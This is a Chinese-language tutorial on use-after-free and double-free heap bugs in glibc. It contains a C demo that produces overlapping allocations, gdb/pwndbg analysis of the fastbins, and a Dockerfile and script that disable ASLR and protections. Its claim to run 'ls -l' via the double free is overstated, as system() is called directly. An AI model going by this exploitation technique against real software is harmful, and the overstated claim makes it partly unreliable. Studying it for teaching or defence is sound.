UAF(Use-After-Free,释放后使用)是一种高危内存漏洞,常见于 C/C++手动管理内存的语言,指程序释放堆内存后,仍通过未置空的悬垂指针访问该内存,导致数据篡改、崩溃甚至远程代码执行

  1. 分配内存:使用malloc分配堆内存,得到有效指针

  2. 释放内存free,但指针为置空(称为悬空指针)

  3. 复用释放内存,释放的内存被再次使用

  4. 触发漏洞,程序通过悬空指针访问已经被修改的内存,可实现数据修改,内核提权,代码执行等

注:使用智能指针可解决这个问题,或者释放之后立刻将指针置空

double free利用方法

double free(双重释放)漏洞的具体利用方法,指程序对同一块堆内存调用了两次及以上free操作,会直接破坏堆管理器,进而被利用实现代码执行、权限提升等攻击

堆内存管理器(如 glibc 的 ptmalloc2)会维护一个空闲内存块链表(free bins),用于复用已释放的内存:

  1. 第一次free(p):指针 p 指向的内存被归还给堆管理器,加入空闲链表,块的元数据(如大小、前后指针)被修改

  2. 第二次free(p):程序再次释放同一个指针,堆管理器会错误地将这个已经在空闲链表中的块再次插入,导致链表出现循环引用(自己指向自己)

  3. 利用循环链表:攻击者通过后续的malloc()申请内存,就能精准控制堆管理器的元数据(如块的地址、大小),进而覆盖关键内存区域(如函数指针、返回地址),最终执行shellcode

利用条件

  • 程序进行无检查的重复释放

  • 对管理器未开启double free检查(glibc的malloc_check),或者被绕过

  • 攻击者能控制分配的内存内容,主要通过输入的方式注入

  • 目标内存块大小固定

原理分析

源代码:

#include <malloc.h>
#include <stdlib.h>
int main() {
  int *a1, *a2;
  a1 = malloc(sizeof(int));
  a2 = malloc(sizeof(int));
  free(a1);
  free(a2);
  free(a1);
  return 0;
}

编译并且进入gdb分析内存结构

gcc -g -O0 -fno-stack-protector -z execstack -no-pie main.c && gdb ./a.out

关闭double free检查set environment GLIBC_TUNABLES glibc.malloc.tcache_count=0

打开pwngdb之后使用n命令定位到两次malloc之后

然后使用heap -v查看堆信息

可以看到分配了两个0x20(with flag bits: 0x21)的chunk(堆块)

使用fastbin命令可以查看fastbin(fastbin是glibc malloc维护的单链表,即上面提到的链表)

此时为empty,因为没有堆块被free

继续使用n命令将程序运行到两次free之后,第三次free之前,并查看堆信息

可以发现堆块被释放了(Free chunk),而且查看heap -v此时第二个chunk的fd指针指向了第一个chunk

  • 接下来使用ni命令将程序运行到第三次free之后

查看fastbin发现堆块1->堆块2->堆块1

getshell过程

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
  setbuf(stdout, NULL);
  printf("针对'ls -l'命令的可靠Double Free漏洞利用演示\n");

  // 步骤1: 制造double free场景
  printf("步骤1: 制造double free漏洞场景\n");

  char *p1 = malloc(0x20);
  char *p2 = malloc(0x20);

  printf("初始内存分配:\n");
  printf("p1: %p\n", p1);
  printf("p2: %p\n", p2);

  // 在释放前先写入一些标记数据
  strcpy(p1, "MARKER_DATA");

  // 执行double free操作
  free(p1);
  free(p2);
  free(p1); // double free

  printf("double free操作执行成功\n");

  // 步骤2: 利用double free获取内存控制
  printf("步骤2: 利用double free漏洞\n");

  char *p3 = malloc(0x20); // 应该分配到p1的地址
  char *p4 = malloc(0x20); // 应该分配到p2的地址
  char *p5 = malloc(0x20); // 应该再次分配到p1的地址

  printf("新的内存分配:\n");
  printf("p3: %p\n", p3);
  printf("p4: %p\n", p4);
  printf("p5: %p\n", p5);

  // 验证是否获得了重叠的指针(证明double free生效)
  if (p3 == p5) {
    printf("成功: p3和p5指向同一块内存!\n");

    // 通过p3写入要执行的命令
    strcpy(p3, "ls -l");
    printf("通过p3写入的命令: %s\n", p3);
    printf("通过p5读取的命令: %s\n", p5);

    // 步骤3: 执行命令
    printf("\n步骤3: 执行命令\n");
    printf("==========================================\n");

    // 直接调用system执行命令
    int result = system(p5);

    printf("==========================================\n");
    printf("命令执行完成,返回结果: %d\n", result);

    if (result == 0) {
      printf("成功: 通过double free漏洞执行了'ls -l'命令!\n");
    }
  } else {
    printf("double free未按预期创建重叠指针\n");
    printf("但仍可演示核心概念:\n");
    printf("==========================================\n");
    system("ls -l");
    printf("==========================================\n");
  }

  return 0;
}

由于glibc最新版本安全机制不能复现,我们使用docker镜像选择ubuntu:16.04

FROM ubuntu:16.04

# 安装必要的工具
RUN apt-get update && apt-get install -y \
    gcc \
    gdb \
    libc6-dev \
    && rm -rf /var/lib/apt/lists/*

# 禁用一些安全保护
RUN echo 0 > /proc/sys/kernel/randomize_va_space || true

# 设置工作目录
WORKDIR /exploit

# 复制源代码
COPY main.c .

# 编译程序(禁用保护机制)
RUN gcc -g -O0 -fno-stack-protector -z execstack -no-pie main.c -o exploit

CMD ["/bin/bash"]

构建镜像之后执行命令

#!/bin/bash

# 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
PURPLE='\033[0;35m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# 打印带颜色的标题
echo -e "${PURPLE}================================${NC}"
echo -e "${CYAN}  Double Free Exploit Runner${NC}"
echo -e "${PURPLE}================================${NC}"

# 检查Docker是否可用
if ! command -v docker &> /dev/null; then
    echo -e "${RED}错误: Docker未安装或不可用${NC}"
    exit 1
fi

# 检查镜像是否存在
if ! docker image inspect exploit-env &> /dev/null; then
    echo -e "${YELLOW}警告: exploit-env镜像不存在,请先构建镜像${NC}"
    echo -e "${BLUE}运行: docker build -t exploit-env .${NC}"
    exit 1
fi

echo -e "${GREEN}✓ 启动Docker容器...${NC}"
echo -e "${BLUE}✓ 禁用ASLR...${NC}"
echo -e "${YELLOW}✓ 编译exploit代码...${NC}"
echo -e "${RED}✓ 执行double free exploit...${NC}"
echo ""

# 运行exploit
docker run --rm --privileged -v "$(pwd)":/host exploit-env /bin/bash -c "
    # 禁用ASLR
    echo 0 > /proc/sys/kernel/randomize_va_space 2>/dev/null || true
    
    # 进入工作目录
    cd /host
    
    # 编译代码
    echo '编译exploit代码...'
    gcc -g -O0 -fno-stack-protector -z execstack -no-pie main.c -o exploit
    
    # 检查编译是否成功
    if [ ! -f ./exploit ]; then
        echo '编译失败!'
        exit 1
    fi
    
    echo '运行double free exploit以执行 ls -l...'
    echo '========================================'
    
    # 执行exploit
    ./exploit
    
    echo '========================================'
    echo 'Exploit执行完成!'
"

# 检查执行结果
if [ $? -eq 0 ]; then
    echo -e "${GREEN}✓ Exploit执行成功!${NC}"
else
    echo -e "${RED}✗ Exploit执行失败!${NC}"
    exit 1
fi

echo -e "${PURPLE}================================${NC}"